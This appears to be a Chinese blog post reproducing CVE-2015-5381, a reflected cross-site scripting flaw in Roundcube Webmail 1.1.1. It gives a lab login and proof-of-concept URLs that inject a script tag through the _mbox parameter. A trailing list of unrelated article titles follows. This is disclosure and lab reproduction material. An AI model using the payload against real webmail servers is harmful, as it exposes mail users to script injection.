Roundcube Webmail跨站脚本漏洞(CVE-2015-5381 )
2024-08-30 14:14:14
Preface
Software: https://roundcube.net/
Versions: 1.1.x<1.1.2
CVE: CVE-2015-5381
Author: sroesemann
Release date: 2015-5-30
Reference
Roundcube Webmail跨站脚本漏洞（CNVD-2017-08082）
XSS via _mbox-parameter in Roundcube v.1.1.1
环境搭建
请参考：CentOS6 安装Sendmail + Dovecot + Roundcubemail
漏洞复现
需要有效的账号密码才能触发:user1/123456
本地环境：http://mail.roundcube.com/roundcubemail-1.1.1/
Example:
https://{YOURSERVER}/?_task=mail&_mbox=INBOX%22%3E%3Cscript%3Ealert(%22Roundcube+v1.1.1+XSS%22)%3C%2Fscript%3E
http://mail.roundcube.com/roundcubemail-1.1.1/?_task=mail&_mbox=INBOX%22%3E%3Cscript%3Ealert(%22Roundcube+v1.1.1+XSS%22)%3C%2Fscript%3E
XSS触发...
最新文章
- [课程设计]Scrum 1.3 多鱼点餐系统开发进度
- [MySQL] 高可用架构MMM简单介绍
- html之间的传值
- salesforce 零基础学习（十九）Permission sets 讲解及设置
- SAP 录屏BDC使用—实例
- Scala Trait
- C++ STL中vector的内存机制和性能分析
- Spring之ResourceLoader加载资源
- bzoj1346: [Baltic2006]Coin
- c#使用XSLT将xml文档转换为html文档
- Leetcode-34-Search for a Range-(Medium)
- SVN的使用说明
- Typescript 和 Javascript之间的区别
- Promise的一点感悟~
- Fiddler抓取https数据包
- python基础之循环语句,格式化输出以及编码
- 最新证明面临质疑：P/NP问题为什么这么难？
- ES6里新添加了两个很好用的东西，set和Array.from。
- Windows 7系统启动MongoDB失败解决办法？
- Springboot + Vue + shiro 实现前后端分离、权限控制